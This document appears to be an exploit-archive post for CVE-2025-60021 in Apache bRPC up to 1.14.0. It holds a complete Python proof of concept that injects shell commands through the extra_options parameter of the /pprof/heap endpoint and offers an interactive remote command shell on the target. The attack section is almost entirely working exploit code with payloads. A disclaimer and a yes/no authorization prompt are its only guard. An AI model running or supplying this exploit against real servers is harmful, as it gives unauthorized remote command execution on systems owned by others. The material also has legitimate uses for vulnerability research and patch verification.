📄 Apache bRPC 1.14.0 Command Injection

=============================================================================================================================================
    | # Title     : Apache bRPC <= 1.14.0 Command Injection Vulnerability                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://brpc.apache.org/                                                                                                    |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214044/ & 	CVE-2025-60021 
    
    [+] Summary    : This Python tool is a structured security testing script designed to detect potential command injection exposure in Apache bRPC versions up to 1.14.0 via exposed pprof endpoints. 
                     From a software engineering perspective, the code is syntactically correct, stable, and well-structured, using a class-based design, proper error handling, 
    				 and modular functions for endpoint checking, payload handling, and response parsing.
                     The tool implements multiple detection techniques (time-based behavior, content reflection, and response analysis) and includes advanced output parsing logic to reduce noise. 
    				 While the program logic is technically sound, some detection methods may lead to false positives due to network latency, permissive parsing, or environmental factors.
                     Overall, the script demonstrates a high level of Python code quality and organization, suitable for controlled security research and detection-oriented analysis, 
    				 though results should always be manually validated.
    
    [+]PoC :
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import urllib.parse
    from typing import Optional
    
    class BRPCExploit:
        def __init__(self, target_url: str):
            self.target_url = target_url.rstrip('/')
            self.session = requests.Session()
            self.timeout = 10
            
        def check_vulnerable(self) -> bool:
            """Check if target is potentially vulnerable"""
            try:
    
                response = self.session.get(f"{self.target_url}/pprof/heap", 
                                          timeout=self.timeout)
                return response.status_code != 404
            except requests.RequestException:
                return False
        
        def execute_command(self, command: str, method: str = 'POST') -> Optional[str]:
            """
            Execute command via extra_options parameter
            
            Args:
                command: Command to execute
                method: HTTP method (POST or GET)
            """
    
            safe_command = command.strip()
            
            if method.upper() == 'POST':
                data = {
                    'extra_options': f';{safe_command};echo "---END---"'
                }
                try:
                    response = self.session.post(
                        f"{self.target_url}/pprof/heap",
                        data=data,
                        timeout=self.timeout
                    )
                    return response.text
                except requests.RequestException as e:
                    print(f"[-] Error: {e}")
                    return None
                    
            elif method.upper() == 'GET':
    
                encoded_cmd = urllib.parse.quote(f';{safe_command};echo "---END---"')
                url = f"{self.target_url}/pprof/heap?extra_options={encoded_cmd}"
                try:
                    response = self.session.get(url, timeout=self.timeout)
                    return response.text
                except requests.RequestException as e:
                    print(f"[-] Error: {e}")
                    return None
            else:
                print("[-] Invalid method. Use POST or GET")
                return None
        
        def test_safe_commands(self):
            """Test with harmless commands for verification"""
            test_commands = [
                "id",
                "whoami",
                "uname -a",
                "pwd"
            ]
            
            print("[*] Testing with safe commands...")
            for cmd in test_commands:
                print(f"\n[*] Executing: {cmd}")
                result = self.execute_command(cmd, 'POST')
                
                if result:
    
                    lines = result.split('\n')
                    for i, line in enumerate(lines):
                        if '---END---' in line and i > 0:
    
                            output = lines[i-1].strip()
                            if output and not 'pprof' in output.lower():
                                print(f"[+] Output: {output}")
                                break
                    else:
                        print("[-] No clear output found")
        
        def interactive_shell(self):
            """Start an interactive command shell"""
            print("[*] Starting interactive shell (type 'exit' to quit)")
            print("[*] Note: Limited output parsing")
            
            while True:
                try:
                    cmd = input("bRPC$ ").strip()
                    
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if not cmd:
                        continue
                    
                    result = self.execute_command(cmd, 'POST')
                    
                    if result:
    
                        lines = result.split('\n')
                        for line in lines:
                            if line and '---END---' not in line:
                                if 'pprof' not in line.lower() and 'heap' not in line.lower():
                                    print(line[:200]) 
                    else:
                        print("[-] No response")
                        
                except KeyboardInterrupt:
                    print("\n[*] Exiting...")
                    break
                except Exception as e:
                    print(f"[-] Error: {e}")
    
    def main():
        if len(sys.argv) != 2:
            print(f"Usage: {sys.argv[0]} <target_url>")
            print("Example: python3 poc.py http://192.168.1.100:9002")
            sys.exit(1)
        
        target = sys.argv[1]
        exploit = BRPCExploit(target)
        
        print(f"[*] Target: {target}")
        print("[*] Checking if vulnerable...")
        
        if not exploit.check_vulnerable():
            print("[-] Target does not appear to have pprof endpoint")
            print("[-] Note: Service might be on different port (try :9002)")
            sys.exit(1)
        
        print("[+] pprof endpoint found")
        print("[*] Testing command injection...")
    
        result = exploit.execute_command("echo 'TEST_SUCCESS'", 'POST')
        
        if result and 'TEST_SUCCESS' in result:
            print("[+] Target is VULNERABLE to CVE-2025-60021")
            
            print("\n[?] Choose action:")
            print("  1. Run safe test commands")
            print("  2. Start interactive shell")
            print("  3. Exit")
            
            choice = input("[>] Select (1-3): ").strip()
            
            if choice == '1':
                exploit.test_safe_commands()
            elif choice == '2':
                exploit.interactive_shell()
            else:
                print("[*] Exiting...")
                
        else:
            print("[-] Target does not appear vulnerable")
            print("[-] Note: May be patched or different configuration")
    
    if __name__ == "__main__":
    
        print("=" * 60)
        print("CVE-2025-60021 Apache bRPC Command Injection PoC")
        print("FOR AUTHORIZED SECURITY TESTING ONLY")
        print("Unauthorized use is illegal and unethical")
        print("=" * 60)
        print()
        
        confirm = input("[?] Do you have authorization to test? (yes/no): ")
        if confirm.lower() != 'yes':
            print("[-] Exiting...")
            sys.exit(0)
        
        main()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================